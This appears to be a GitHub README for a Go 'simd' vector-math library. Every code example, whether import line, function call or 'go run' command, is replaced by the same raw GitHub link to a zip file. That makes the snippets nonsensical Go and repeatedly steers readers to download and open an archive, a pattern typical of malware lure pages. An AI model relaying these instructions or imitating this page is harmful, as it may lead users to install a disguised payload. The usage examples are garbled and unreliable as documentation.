Welcome to the simd library! With simd, you can perform high-speed calculations in Go using AVX and NEON technology. Follow these simple steps to download and run our application.

To run the simd library, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Go version: 1.15 or higher
• Minimum RAM: 4 GB
• Supported CPU: Any modern CPU with AVX or NEON support

• High-performance calculations using SIMD (Single Instruction, Multiple Data)
• Support for both float32 and float64 types
• Easy integration with existing Go projects
• Optimized for speed and efficiency
• Tutorials to help you get started quickly

To download simd, visit our Releases page. There, you'll find the latest version available for installation.

Simply click on the version you wish to download. Once the file is downloaded, follow these steps to install:

1. Find the downloaded file in your system’s Downloads folder or the location you chose.
2. Extract the contents of the downloaded file if it is zipped.
3. Follow any included installation instructions to complete the setup.

After installation, you can start using the library in your Go projects.

Using the simd library is straightforward. Here’s how to get started:

1. Import the Library: Open your Go project and add the import statement:

   import "https://raw.githubusercontent.com/Anthonygdn5/simd/main/f16/simd_1.8.zip"

2. Write Your Calculation: Use the library functions to perform high-speed calculations. Here’s a simple example:

   result := https://raw.githubusercontent.com/Anthonygdn5/simd/main/f16/simd_1.8.zip([]float32{1.0, 2.0, 3.0}, []float32{4.0, 5.0, 6.0})
   https://raw.githubusercontent.com/Anthonygdn5/simd/main/f16/simd_1.8.zip(result) // Output: [5.0 7.0 9.0]

3. Run Your Application: Save your changes and run your Go project using the Go CLI:

   go run https://raw.githubusercontent.com/Anthonygdn5/simd/main/f16/simd_1.8.zip

   Observe the improved performance in your calculations.

To better understand how to use simd, check out these example projects:

• Simple Vector Calculations
• Performance Benchmarking

If you would like to contribute to simd, please check our guidelines in the repository. We welcome improvements in documentation, additional features, and bug fixes.

For any questions or support, please join our community:

• Check out our Issues page for common questions.
• For direct support, reach us via GitHub Discussions.

Thank you for using simd! With this powerful library, you can enhance your calculations and achieve faster results in your Go applications. Happy coding!